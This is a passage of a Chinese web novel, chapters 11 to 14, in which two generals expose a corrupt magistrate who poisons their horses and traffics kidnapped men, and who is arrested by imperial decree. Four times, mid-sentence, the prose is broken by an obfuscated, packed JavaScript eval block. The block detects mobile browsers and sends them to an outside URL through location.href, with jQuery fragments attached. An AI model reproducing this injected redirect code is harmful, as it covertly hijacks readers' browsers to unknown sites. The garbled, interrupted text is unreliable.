“既如此……”花眠船嘴边漾起一抹坏笑，“蒋公子，你呀，别做无谓的挣扎了，乖乖随这位姑娘回去吧。” “就是，就是。”蔡葵见有人撑腰，瞬间来了底气，连连附和道。 蒋维舟听了花眠船的话，差点没倒地晕过去。刚想回话，蔡葵那居心叵测的声音入耳，他也霎时忘了正事，瞟了那姑娘一眼；蔡葵见他看过来，心虚地低下头。 蔡葵握住他紧绷的胳膊，轻声安慰：“你我若能男耕女织，未必不能过成村里一段佳话。” 蒋维舟又气又急：“你眼里能不能别总想着成亲？换句话说，你就不能好好想想自己的日子该怎么过吗？”他一边说，一边不断扭动身子，试图挣脱束缚。 “你、你别再动了……买你时，人家怕你醒了我压不住你，特意给你绑了鸳鸯结。” 鸳鸯结……花眠船倒是略有耳闻，只不过这东西是男女交欢时调情用的……你越动，它勒得越紧。 “我会对你好的，真的！我可以向你的朋友们发誓。” 还真是强买强卖啊…… 花眠船见她性子“率真可爱”，忍不住搭话：“蔡姑娘，我突然想起前几日好像在街上见过你。那时你在街上张口闭口提条件，就是要买位公子，看着机灵得很，怎么如今反倒自挂东南枝，非要吊死在他这棵树上？”她说着，朝蒋维舟指了指。 “我、我也不想啊！我虽有田地、有房产，还有鸡鸭牛羊，可家里偏偏少个男人……我没了父母，叔伯们就想借着这由头吞了我的家产。我没办法，才想着招个女婿稳住家业。可我那些叔伯在当地是出了名的无赖，谁家也不愿掺这浑水、惹这麻烦。” “后来，我偶然听说这一百多里外的画溪城，每月都会来一批男子，供城里的女子挑选做夫婿。于是我先安顿好家里，赶了两天路到这儿，却被告知城里运来的男子只卖给本地人。” “我真的是没法子，只好在城里住下，装作本地人，每天四处闲逛，打探当地人的生活习惯、城里的大小琐事，就怕露了马脚。” 她越说越委屈，声音也低了些：“城里人对外地人格外提防，我为了打探这些事，也费了不少日子和心思。” “我之前向那位公子求亲，其实是……我迷路了，找不到去选人的地方。只能在路上拦着人苦口婆心地说，我还想着，等人家嫌我烦了，说不定就会指条路给我了。” 花眠船接话：“所以，你当初听到人家有‘隐疾’，还一直跟着，其实是想向人家问路，只是始终没敢开口？” “是……我当时听到后，还暗暗庆幸，幸好那位公子……心里有喜欢的人。不然单看他的模样气度，定然不是普通人，家里不是经商就是做官，一看就是有钱人家的子弟，我怎么可能养得起？” 花眠船看向一旁的萧文怀。萧文怀，不，“小小姑娘”，此时眼中平淡无波，丝毫没受到蔡葵话里话外的影响。 但，要说养不起……当真是有理有据！ 蔡葵接着道：“再看他身边那位公子，明眸皓齿、顾盼神飞，我倒也动过心思……可谁让我一开始就选错了人，后来又听说他们是一对，我哪还敢开口啊……” 闹了半天，竟是一场误会？ 花眠船思索片刻，开口道：“蔡葵姑娘，我想跟你做笔交易。你去帮我打探些消息，我们帮你稳住家产，怎么样？” “那……他呢？”蔡葵指了指身旁还在像蛆一样扭动的蒋维舟。 “他……等事成之后再说。” 蔡葵点点头，咬了咬唇：“好，我答应你。但作为交换，你们得从身上取一样东西押给我，免得事后反悔。” 花眠船毫不犹豫：“成交！” 身旁的“小小”和蒋维舟还没反应过来，两人已经各自解下一件随身配件，递给了对方。 于是，蒋维舟暂时被交还给了花眠船一行人。萧文怀上前替他解开绳子，没等他松口气，便不由分说朝着他后腰踹了一脚。 蒋维舟吃痛地“哎呦”一声，身子往前倾，踉跄着跌出好几步，最后重重摔在地上。他缓了缓，撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887806|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地面、扶着后腰站起身，回头看向萧文怀，一脸不解：“我说姑娘，你要不要……” ——用这种方式引起我的注意？ 这话没说完，就被一个熟悉的声音打断。那声音清越如玉石相击，落在蒋维舟耳里，却像火药炸响：“藐视上级指令，按军规，当杖责五十，逐出军队。” 蒋维舟瞳孔骤缩：“！” 扶着后腰的手瞬间僵住，下一秒，“扑通”一声，他直挺挺地跪了下去。跪了又觉得姿势不对，又改成蹲姿，挪着小碎步想上前抱萧文怀的大腿哭求，可转念一想——将军如今穿的是女装……他赶紧收回了这念头。 “将军！花将军！”为了自己的一世英名，脑子里编好的那些求饶的话全咽了回去，他强装出一副自信自强的模样：“大丈夫一人做事一人当！只是——我现在认错，能不能别赶我走？还有……能不能少打十板子？” 没救了，是真没救了。 花眠船和萧文怀对视一眼，没再理他，绕过他径直往前走，头也不回。 只留下蒋维舟一个人盘腿坐在原地，还在对着两人的背影小声讨价还价。 —— 两人在路上踱步。 “你觉得她会真心替我们办事吗？”花眠船问道。 萧文怀：“不知。” “但我猜，会的。” “她方才将那荷包藏在衣袖，又时不时张望四周，确保它的安全，我想这东西，对她意义匪浅。” 花眠船同她交换时，对方拿来的是一枚翠绿的荷包，上头绣着几朵含苞未放的花骨朵，绣法独特——她这些年在南境从未见过这种绣法，想来是独创。荷包内摸着是空的，只有一个荷包。 花眠船眉眼带笑：“看不出来啊，萧将军，你还有留意人家小动作的心思。” 萧文怀同她谈笑：“知己知彼，百战百胜。” “再说，这些细节，花将军不是也留意到了。” “那倒是。”她确实注意到了，这是不得不承认的一点。 萧文怀正了神色：“花将军的玉佩想必也意义非凡。” “你猜错了，那就是一件无关紧要的小玩意罢了。” “是，我猜错了。” 二人均不再言语，花眠船东张西望街上的小铺，萧文怀则正视前方，直到回了旅店。 —— 这其中到底隐瞒着什么？赵康究竟为什么会由清廉转变为贪官？百姓们究竟为什么知情不报？又为何在听到花将军的名号时，恨不得离他们八丈远？茂林的真相是什么？贩卖人口的原因又是什么？ 从进入这座城开始，他们，仿佛就已经掉进了某些人罗织的大网。 11. 第 11 章 天边泛起鱼肚白。 谭闻雨穿过长街，匆匆来报：“将军，今天许是没法修了，饲马兵来报：他今早喂马时，见我们队里的马皆萎靡不振，其中数匹还伴有腹泻之症，行动缓慢，已经有几匹没撑住……死了。” 花眠船没有在严重的事态下变得慌乱，她对镜理云鬓，不紧不慢地问：“随军的大夫可有看过？是否检查过草料？” 谭闻雨停在一旁：“陈先生突然病了，出不了门，草料和水源都是从茂林取的，没有检查出什么问题。” “梨花酿有没有出现症状。” “暂时没有发现。” “去查吧，有人投毒，以及——”花眠船眸中的从容荡然无存，转而被一种极为狠厉的神色占据，如腊月寒冬，令人不寒而栗。 “无论如何，把陈楚河给我请出来，即使是绑，拖……” 花眠船笑得竟有些阴森。 苍蝇不叮无缝蛋，既然他们想让她留下，她自然是要顺了他们的意，将计就计。 —— 不多时，陈楚河便被谭闻雨派来的人“请”到了花眠船的屋中。 “听闻陈医师近来身子不适，本将军原是要登门探望的，可今儿醒后偏生头痛得厉害，一点风都吹不得。”花眠船头上裹着锦布，在屋内绕着陈楚河来回踱步，语气平淡，可脱口的每一个字都昭示着她内心态度的强硬！“只好派人，将您请过来了。” “将军说笑了！能为将军效力，小的这点病痛算得了什么！”陈楚河谄媚的笑笑，心里却犯不着地嘀咕：哪是什么“请”，分明是这群人不分青红皂白，连人带被子将他卷成一团捆了，直接扛过来的！ 他瞥过身旁一左一右立着的威猛士兵，又低头看了眼裹在身上的棉被被绑住的四肢，再抬眼看向面前笑得意味深长的花眠船，后背瞬间冒起层冷汗。 “说起来，咱们孤烟军的将士真是越发细心了。”花眠船忽然笑出了声，目光落在那床棉被上，“瞧这安排，还记着陈医师病着，特意给您裹了层棉被保暖呢。” 陈楚河阴奉阳违，借势作揖：“多谢将军，多谢诸位。” “今儿一见诸位，我的病就好了大半，现在已经没多大问题了。” “将军，您看我身上这……棉被。” 花眠船走到他身边，拍拍他肩膀，而后抱臂靠在柱子上。 “扯了这么多，看来陈先生还是没有要说的打算。” “陈先生，我的手段你清楚。” “有些话，想必不用我多说。” 花眠船示意，两侧士兵受命解开他身上的棉被，陈楚河跪地，声音颤抖：“将军，小的纵是有千万个胆子也不敢瞒着您。” “小谭，你说说有些事儿多巧。” “马病了，陈先生也病。” “难不成，陈先生是同这马心有灵犀不成？” “马病人也病。” 在场人无一不战栗。 花眠船很少会像今天这样讲话，尽管面上平淡无波，可字字句句却都透着狠。 “说来，陈医生同赵大人是似乎是远亲？” 陈楚河的母家与赵康同族，二人年纪相仿，幼时也是长在一起的。 他们家祖上多是在太医院任职，到他这一辈也不例外，可他为人软弱，进去没几天便被人诬陷赶了出来，族里担心他牵连一同进去的同辈的其他子弟，便公开与他断了关系。 家族抛弃，前途无望，他本想在市井开家医馆，奈何囊中羞涩，此事也只得作罢。 再后来他找上赵康，本想着借笔钱买些药材做个游医，赵康同情他，将他举荐给花眠船，他也就这样，来了孤烟军。 跟去进京的人并不算多，他们也有接触市井的机会，大多数懂医术的都留在了孤烟军，随军进京的只有他一人。 至于瞒着花眠船的下场，他们自然都清楚。 有两人一左一右驻在陈楚河身旁，身后还有将他扛上楼的两人，正前柱子上靠着花眠船，花眠船身后还有抱臂盯着他的谭闻雨。 他没抵住内心的胆怯，扑通一声跪在地上，声泪俱下：“将军，毒……是我投的，可小的那也是迫不得已……” “我叔叔对我有恩，我不能违抗他，可您给了我一个机会，素日里又我多有信任，我也不能背叛您……我、我内心实在矛盾！” 花眠船低头斜睨向他，不咸不淡道：“可你还是去做了，违抗军令私自离开旅馆私会赵康，又支开看管马圈的士兵，奉赵康的命去投毒，单是这其中中一条，本将军都足以将你赶出军队。” “小的，小的百口莫辩，只得……”他飞速起身拔出右侧士兵别在腰间的剑鞘里的剑对准脖颈，吼道：“以死谢……。” 谭闻雨快步上前，未等他音落，便一脚踢飞他手上的剑。 “哐当”　一声清脆的响声。 花眠船：“说与不说，决定权在你，他能承诺的，本将军一样能答应你。” “我说。” “我说！” 陈楚河双手按在地面，整个人如同一条丧家之犬。 “我舅舅……不，赵大人，派人找到我，说想见见我，我本想向您请示，可他的人催的紧，我想着最多是亲戚之间往来一番，便没再说。” “谁……谁知道……赵大人要我投毒。” 陈楚河扑通一声跪下：“将军，您是知道的，我这人生性懦弱，给我一百个胆子，我也不敢去做些对不起您的勾当啊！” “我、我是被指使的！” 陈楚河两条腿并着，靠着膝盖一点一点爬到萧文怀身边。 “萧将军您救救我，求您救救我啊。” 萧文怀嫌弃地扯开衣裳，挪动位置。 一声、两声……陈楚河开始不要命似的疯狂磕头。 从玉上前一掌将他劈晕，又朝身后丢了个眼神，陈楚河便像只匍匐的癞蛤蟆似的被拖出去。 萧文怀　：“……” 孤烟军军营果然军风开广，连撤退都是众人意想不到的方式。 —— 这一招，叫引蛇出洞。 —— 午时，孤烟军军中传出将军动用私刑处置了一名军医，人人胡乱猜测，一时间孤烟军中的花将军胡乱惩罚下属的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887807|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息不胫而走。 城中百姓扬言要将他们赶出画溪城，还有人传花眠船德不配位，要去京中向圣上告圣状！ 孤烟军分散住的酒楼客栈，更是在一下午收集到了足够所率的全军吃三天的菜叶。 城中百姓做的最过激的事儿，最多也就是在军队里负责采买的将士买菜时嘴啐两句，也构不成什么实质的伤害。 也就由着他们去了。 话说……席州军在干嘛？ 哦，在抢菜叶、在看热闹、在和城里的大妈唠家常…… 真是够清闲的。 —— 赵康那边自然是沉不出气的。 一大清早便在打听这边的反应，见孤烟军非但没乱了阵脚，反而是捡了菜叶做粥，无疑不是震惊的，但震惊过后则是下一步的谋划。 她花眠船既然入了这座城，便是逃不出的。 他们之间，不只是私人恩怨，更是关乎了前途、生死。 —— “姑娘，薛大人来信。” 从玉上报道，将信递给花眠船。 花眠船接过，将信展开，一本正经地看起来。 不错，正如她猜想的那样，赵康这个人，留不得了。 信上说，赵康去年被贬时，颠簸一月来到画溪，刚到时一连向朝中交好的故友写过几次拜谒诗，但朝中情况不同往日，朝中大臣人人自危，他写的大多数都是石沉大海。 不过……也有不同寻常的，或是回两个字：不便，或是干脆挑明了舞到圣上面前。 总之，是不尽人意的结果。 但也总是有清新脱俗的，尚书省的李尚书就是那个不寻常，他不仅频繁向圣上上书，说明赵康的不易，还拿出赵康之前作的诗，一并交上去，说他是可不可多得的人才！ 连带着把皇帝身边的掌侍公公李秩都感动到了，也跟着吹耳旁风。 在他们的努力下，以及当地地方官百姓对他“爱民如子”的赞叹，皇帝成功对赵康有了改观，虽未直接下令重拟调令，却当着众人的面儿赏赐赵康些财宝，又追封他故去的正妻王氏为诰命夫人，这些事儿足以让众人心知肚明。 从追封的诏令下达后，京中便有不少人在暗地里试图拉拢赵康，不出意外，被他以替亡妻服丧一一回绝了。 不过，据说是李尚书为新寡的六女儿捷足先登了，反正说的是驴唇不对马嘴，众说纷纭。 不过，可以确定了一点，赵康巴上了李尚书，二人关系匪浅，赵康近一年的平步青云也是托他们的福，而画溪遍地的坑洞，草药，鸟兽也多半跟他们搭得上关系。 花眠船想着，屋外又传来火急火燎的脚步声。 谭闻雨道：“将……姑娘！蔡葵姑娘中毒了！” 坏了！花眠船鞋都没穿好就往外奔。 待见到人时，只见蔡葵昏迷躺在塌上，面色青紫，四肢僵硬，同时在左右手上都起了密密麻麻的黑斑，十分骇人。 随军的其他军医称蔡葵中了毒，可这毒并非是一种，准确的说，应该是多种毒混在一起毒性发生了变化，同时毒性也得到了加强，配置的一种新毒。 12. 第 12 章 蔡葵中毒，一下子几乎是所有人都涌了上来。 她的情况简明来说，不容乐观，至少目前来看是这样。 蔡葵这病棘手就棘手在，这毒不是单一的，少说有十几种。 数毒并发，又引出了几种旁人没见过的新症，这才是难点。 蒋维舟不知是抽了什么风，从蔡葵姑娘中毒开始，就一直扒在床边，谁劝也不走。 即使是到了饭点，吃的送到嘴边也无动于衷；医师要替蔡葵姑娘换药，他也是愣在原地不走，甚至想替她分担。 真是中邪了。 谭闻雨受命来探望蔡葵，就见蒋维舟对着人家姑娘的手按个不停，谭闻雨对着他就是一脚，把人踢开。 蒋维舟疼得龇牙咧嘴，在地上起身，不明所以地看向花眠船。 “蒋公子，前段日子还说男女有大防，如今倒是什么都不顾虑了。” 谭闻雨没好气道。 花眠船和从玉在后面看得双眼发笑。 花眠船身边的人，无论是从玉还是她自己，都是做事沉稳，成天一副无欲无求的样子，少见这般跳脱；可从玉本就是这个性子，从她们认识开始一直如此，倒是谭闻雨小小年纪一副老成样子，这很不该。 却没想到，这蒋维舟的“恶行”竟引起了小谭的冲动行事。 蒋维舟原本是有些愠怒，见谭闻雨这么说，他没应声，哭丧着脸蹲到蔡葵床边，小声喃喃道： “我知道，我这些日子对你表现得很不友善。虽然我家老头有些老封建，但你放心，对我来说这些都不是问题。” “只要你醒了……” “别说是娶你，我入赘都成……” 蒋维舟声音愈来愈低。 花眠船一行人皆是目瞪口呆。 他们原本还想着借故打趣两句，如今，这两人似乎是生出了感情？ “见过将军。” 谭闻雨瞥见花眠船，率先行礼。 “嗯。” 蒋维舟闻声看去，大脑跟四肢没协调，一时之间反应不过来，左右手胡乱地比划一通。 “咳咳，蒋公子不必担心了，蔡葵姑娘的毒已有了解法。” 花眠船圆场道。 “多谢花将军。” “花将军，您……” 蒋维舟抬眸打量她一眼，说道。 花眠船秉持着大恩不言谢的道理，对他道：“嗯嗯，感谢的话就免了。” 蒋维舟出言打断：“不是，我是想说，您的口脂沾到牙齿上了。” “清楚，本将军自然清楚。” 花眠船语罢，尬笑两声。 “我看，还是要以大局为重，以蔡葵姑娘为重……” “林医师，请吧。” 花眠船看向身后，招呼道。 被称作林医师的人上前，在床边的软凳上坐下，挽住蔡葵露在外面的那截小臂，抬起将它垫在枕头上，又随手将携带的卷包摊开——只见卷包上布着长短粗细不同的银针。他神色镇定，按着顺序，将其一一插在蔡葵小臂上的穴位，众人皆是目瞪口呆…… 这、这一针针下去，别说是能不能救活了，扎都得扎出反应吧？！ 要拦着吗？ 从玉向花眠船传递眼神。 花眠船摇头。 数十针下去，蔡葵的面色渐渐好转；施完针后不久，蔡葵也慢慢有了意识，眉头蹙起，半昏半醒地咳出些黑红发紫的血。身旁侍奉的婢女连忙上前，喂了两口清水。 “活了！” 谭闻雨淡淡道。 有没有可能……她压根没死？ “林医师，多谢。” 从玉对他点头行礼。 林医师亦回礼，又转身对花眠船行了一礼，埋头收拾东西告退。 众人搬起椅子围坐一圈。 “话说……蔡葵姑娘为什么还没醒？” 身后跟来的另一位女将小崔道。 “等等看吧。” 花眠船回道。 半柱香时间过去——没动静。 一炷香时间过去——隐隐传来些鼾声…… 众人均打起精神，左顾右盼…… 哪来的鼾声？ 众人神色疑惑地看向床上的蔡葵……以及鼾声变得震天响的蒋维舟。 花眠船看向身侧的从玉，从玉立刻上前，探了探蔡葵的鼻息，又凑近听了听。 “将军，还活着，只不过——睡着了。” 众人：“……” 从玉一记手刀将蒋维舟劈醒，蒋维舟痛呼，扶着脖子摇摇晃晃起身，可瞥了眼床上的人，又硬生生将声音咽回去。花眠船下令留下两人陪同，其他人便随着花眠船撤退了。 —— “从玉，还有没有？” 花眠船咧着嘴面向从玉。 从玉神情专注地对着她盯了片刻，谭闻雨对此很是不解。 将军什么时候开始这么在意形象了？ 身旁的从玉倒是清楚前因后果。 花眠船今儿粘在牙上的口脂，是萧将军之前送来的。听说蔡葵姑娘的毒有了解决办法，花眠船瞥见案桌上的口脂，一高兴，便涂了一层。 只是吧，花眠船这人有个毛病，爱咬嘴唇——兴奋时咬，犯愁时咬，时间长了，一来二去就养成了习惯。 可花眠船毕竟是一方领袖，身为统领万人的花将军，被人揪着些小毛病指指点点，传出去有损形象。 这些事情，自然是要埋在肚子里的。 —— 黄昏时分，西边日落，由西向东下起毛毛细雨，倒是无情却有情。 “事情查得怎么样了？”萧文怀问道。 “证据线索已经通通呈上。” 他们逮的，是条大鱼。 “听闻萧将军染疾，我们特来探望。” 门外爽利的笑声打破屋内的沉静。 “萧将军，许久不见……” 话锋一转——“事情可收尾了？” “赵康给那位贵人的书信已经被拦截了下来。” 信上对那位贵人的谄媚之情溢于言表，为人无德，为官不正。 清正廉洁、曾经最引以为傲的文人风骨，此刻荡然无存。 真是一出好算计，从他们进城开始，能生还的几率就很渺茫…… 赵康信上说，虽不能让他们直接消失，但可假借城中流言参他们一本；届时，他们在朝中的势力只需稍稍出力，便可引起圣上的怀疑。对他们而言，重则连累家族掉脑袋、流放三千里，轻则革职查办丢饭碗，浑身上下掉层皮。 实在是一出好算计。 “萧文怀？” 花眠船本想继续问下去探个究竟，却见萧文怀盯着屋内的轩窗愣神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887808|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “喂！” 大事当前，这人发呆？这怎么能行？ 顷刻间，一支利箭穿过窗纸，嗖地一声，擦着花眠船的耳侧飞过，直直钉在他们面前的柱子上。 一张泛黄的信纸被钉在上面，纸上是歪扭的字迹。 花眠船上前拔下箭矢，取出其中的信纸。 花眠船眉头拧紧。 这信纸上赫然陈列着赵康这近一年的“罪行”： 上到带山民在山上开采天然资源私下售卖，捕杀飞禽卖皮毛给外邦商人；下到对来往住店商队的人员进行绑架，谎称是罪奴售卖给城中未婚女子以稳定婚嫁。 一桩一件，丧尽天良。 花眠船捏信的手收紧，萧文怀默不作声地上前，拍了拍她的肩膀。 花眠船猛然颔首，扭头看向萧文怀。 正欲开口，却被门外不合时宜的敲门声打断，只好生生咽了回去。 “将军，萧将军。” 从玉推门而入： “我们收到了这个。” 又是一封信，可信纸上却明晃晃地被人用红油墨写着四个大字： “花将军收” 信上只有一句话——“收手，要么后果自负。” 花眠船眉头缓缓舒展。 威胁啊？她喜欢。 刀山火海、枪林弹雨都试过了，她有什么怕的？总不能人家把她油炸烹煎？ 机会是留给有准备的人的，好戏是留给自由发挥的人的。 “从玉，吩咐下去，明天——启程。” “是。” 从玉并没有因为花眠船突如其来的命令改变神色，凭着两人之间的默契，闻声回应后告退。 总要出其不意、攻其不备，方能围魏救赵、声东击西。 “萧将军，回见。” 花眠船心情大好，背着手，哼着边塞小调走了出去。 萧文怀神色自若地“嗯”了一声，怔怔地看着姑娘离开了视线。 —— “今天第五筐了，真是走运。” 负责后勤的几个小兵心满意足地看着堆满箩筐的菜叶。 今天一大早起来，将士们分住的各个驿站门前莫名被扔了一堆菜叶，还是统一的一种往东京城方向生长的、叫蔷菜的品种。 他们简直是乐坏了。虽说军营离这儿不过四五百里，偏有些东西在这边附近买不来；军营里油水盐巴吃腻了，独独不见这口。有些将士偏思念这口，老想着等哪天出了那穷乡僻壤、天气多变的鬼地方，在外面尝个够，这下倒好了，这不就来了。 画溪城里的百姓没见过这品种，多数觉得它作为一种菜品，生得鲜绿却又苦得要命，当真是离谱，连喂鸡喂猪都怕毒死它们，所以多是用来驱邪避灾，鲜少食用。 暗处观察的人，本想借着这些菜叶子嘲笑他们猪狗不如。 虽说菜叶子充足，但还有马匹要喂。走了这么久，难得有新鲜、鲜绿的菜叶子；况且马儿们载着他们走了这么远，有的还生了病，自然是要顾虑下这群老伙计。将士们在这儿停留，群众的眼光里外都不好看——对他们来说，别说是啐口痰这种小事，他们就差指着孤烟军的鼻子骂了。 不过，这些都是浮云。他们晃晃手里的刀，那群人眼神怨毒地退了三丈远。虽说不能对百姓动手，但偷偷吓吓人总是可以的，对吧？ 13. 第 13 章 菜叶子所剩无几，该采买筹备的事也已近收尾，这座城，实在没什么值得他们再多停留的了。 次日下午，两人正准备启程，不料又一波流言席卷而来——有说花将军在城中烧杀抢掠、鱼肉百姓的，更甚者，竟传蒋维舟在城中偷腥被姑娘当场撞破，姑娘哭诉求他以身相许，却被花眠船仗着官威压了下去。 如今，蔡葵的七大姑八大姨、五叔六舅、三姥爷四姨婆，连带着大哥二婶一众亲戚，正齐齐堵在花眠船住的旅馆门口讨公道！ 门外气势汹汹，门内被声讨的当事人，却依旧气定神闲地坐在凳子上，指尖捻着茶杯，细细品饮着新沏的茶。 敲门声响起，花眠船抬眼望去，唇角微勾：“萧将军来了？” “坐、坐！”她尽地主之谊，热情招呼。 “嗯。”萧文怀面无波澜地应了声，在她身旁落座。 随行之人皆是一脸错愕：？ 梅褚寻心急如焚，在屋里来回踱步；从玉却同花眠船一般，仿佛门外的喧嚣与己无关。萧文怀带来的几人面露不满——他们本是来寻解法的，怎料当事人这般稳坐泰山，倒像是把所有事都推给了将军。这孤烟军，当真是一缕“孤烟”，从头到尾特立独行，竟没一个靠谱的！ 马蹄嘶鸣骤然打破宁静。 来得够快啊。 “将军，楼下……” 禀报声未落，门外便传来一声巨响，打头之人抬腿一记重踹，门板径直被踹飞出去。 啧，这质量也太堪忧了。 前来禀报的士兵当即被赵康带来的狗腿子一脚踢开，疼得龇牙咧嘴。一行人气势汹汹破门而入，进门便分作两路，在两侧严整散开。人群正中，一名男子身形挺拔、姿容俊伟，气质凛然，面色沉凝带煞，赫然从中脱颖而出。往日里气派十足的赵县令，此刻却眉眼低垂、神色谄媚，躬着身子亦步亦趋地跟在他身后。 来人正是上京刑部侍郎之子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887809|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，盛春朝。他年方弱冠便在刑部坐稳了位置，手段狠厉、处事刚正不阿，如果是萧文怀是“鬼阎罗”，那这人，就是京中人人忌惮的“活阎罗”。 盛春朝斜睨着花眠船与萧文怀，神色倨傲地接过侍从手中的文书。两人识相配合，行军礼静候接旨。 “奉天承运皇帝，诏曰——” “明威将军萧文怀、花眠船，罔顾君恩，残害百姓，罪无可赦！今削夺你二人兵权，革职查办！朕念你二人曾为国尽忠，有功在前，祸不及家人……” 马蹄疾声再度传来，圣旨未宣完，又一队人马蜂拥而至。盛春朝带来的人当即拔刀相向，可看清来人模样时，众人手中的刀齐刷刷收了回去。 来人身长七尺，鬓染霜华，容貌竟与盛春朝一般无二，只是眉头微蹙间更添沉稳，比盛春朝多了几分磊落气度。 花眠船眉眼间骤然添了几分喜色，萧文怀轻咳一声，才将她飘远的思绪拉回，连忙端正神色。 14. 第 14 章 花眠船眉眼间骤然添了几分喜色，萧文怀轻咳一声，这才将她飘远的思绪拉回，她连忙端正神色。 今儿个这画溪县，当真是人一波接一波地接着来…… “赵康接旨。”来人开口，声音沉稳有力。 “臣、臣在。”赵康哆哆嗦嗦跪下，脸上满是难以置信。 一通皇恩浩荡的开场白后，圣旨终于切入正题：“画溪县县令赵康，贪赃枉法，因一己私欲藐视律法，公然开山取矿、盗取山珍，过度捕猎致使百兽遁迹、飞鸟无栖；更有勾结党羽，排挤忠良。特命刑部侍郎盛厅南即刻将其收押，押解上京问罪！” 余下便是些无关痛痒的官样文章。 反转来得太过猝不及防，赵康愣在原地，半晌没从巨大的落差中反应过来。两名侍卫上前捆绑，他麻木地任由动手，脑海中一片空白。 为什么？为什么会走到这一步？ 他猛地回过神，疯了似的挣扎：“不可能！这不可能！”明明上午他还是风光无限、前途无量的赵县令，如今却成了人人唾弃的阶下囚？他赵康是要做大官的，要一人之下万人之上，要当宰相的！他才刚刚过上好日子，承诺给阿梅的还没实现，他不能就这么进去，不能就这么离开！ “把人带出去。”盛厅南没心思看他发疯，冷声吩咐。 “花眠船！”赵康被拖拽着，突然转头厉声嘶吼，“若不是为了给你那叛徒师父辩护，我也不会沦落到这一步！都是你那个当叛徒的师父的错！都是你们……” 花眠船冷笑一声，还未开口，赵康又疯癫道：“对了，你大概还不知道吧？你那个引以为傲的师父，三月前我在城中见过他！他跟着胡人的采买商队入城，早就投敌叛国了！” “还在等什么？带走！”盛春朝厉喝一声，打断了赵康的疯言疯语。 花眠船双目圆瞪，僵在原地，脸色瞬间煞白，面上虽尚余三分理智，心底却早已乱如麻。 “等等！” 盛春朝笑道：“怎么？花将军要阻碍刑部办案？” 花眠船顽笑道：“并不是，我只是有几句话，想问问犯人……不知，小盛大人可否通融？” “想都别想！” 盛春朝冷哼一声，不由分说地拒绝。 “盛大人。” 二人此时已经起身，萧文怀面无表情地把玩着手里的玉佩，玉冠衬得人矜贵万分，那人声音凉薄，却带着几分若有若无的警告： “让他讲。” 盛厅南甩袖，被迫低头。花眠船于朝中的地位不言而喻，只是，他们刑部办案自来有一套，从不惧怕各家胁迫，他今日通融这一遭，看的不是官场情面，而是私情。 “父亲！” 盛春朝急红了眼，不顾身份的大吼。 盛厅南没理他，转身看向二人，示意赵康开口。 花眠船道：“你确定那人是崔清柳？” “是！我见过他，这些年我也一直在找他，可他投了敌……那人身着胡人商队的服饰，随着商队在城里采买，只一瞬我便认出了他，我再命人去找，他已不见了踪迹。后来，我听说阳关道战败被俘的士兵带到城中，有个小兵说，他在被俘的国家听说，那里有位姓崔的将领替他们练兵，他们的军队方能百战百胜。” 死到临头，他也没什么好再隐瞒的了。 与其瞒着到地下，为什么不说出来，让活着的人，也心存忌惮？ 他不好过，他们又凭什么安安稳稳度日！ ———— “你知道我为什么会走上这一步吗？” 没人回答他。他也早就不是当年那个闻名上京的神童，不是那个春风得意马蹄疾的进士，更不是画溪那位人人敬仰的县令。如今的他，身穿囚衣，坐在颠簸的囚车中，走在被押送回上京的路上。 他的哀怨、不满、悔恨，都只得对着天地诉说——恨人生苦短，恨苍天无目，恨自己将一手好牌打得稀烂。 “我三岁学诗，七岁能作诗，十四岁时作的诗便名震京城，十九岁中进士入仕。” “我们家也曾是京中的望族，祖上曾连出过三任宰相，却在世代传承中渐渐衰败。到了我这一代，家族已经两代没有出过科举入仕之人，所以，在得知我天资卓绝、过目不忘时，我几乎被我的家族倾注了全部希望。” “我这一生曾追求清廉，不善于苟合，心高气傲，不懂得奉迎，入仕多年都不得晋升，碌碌无为。” 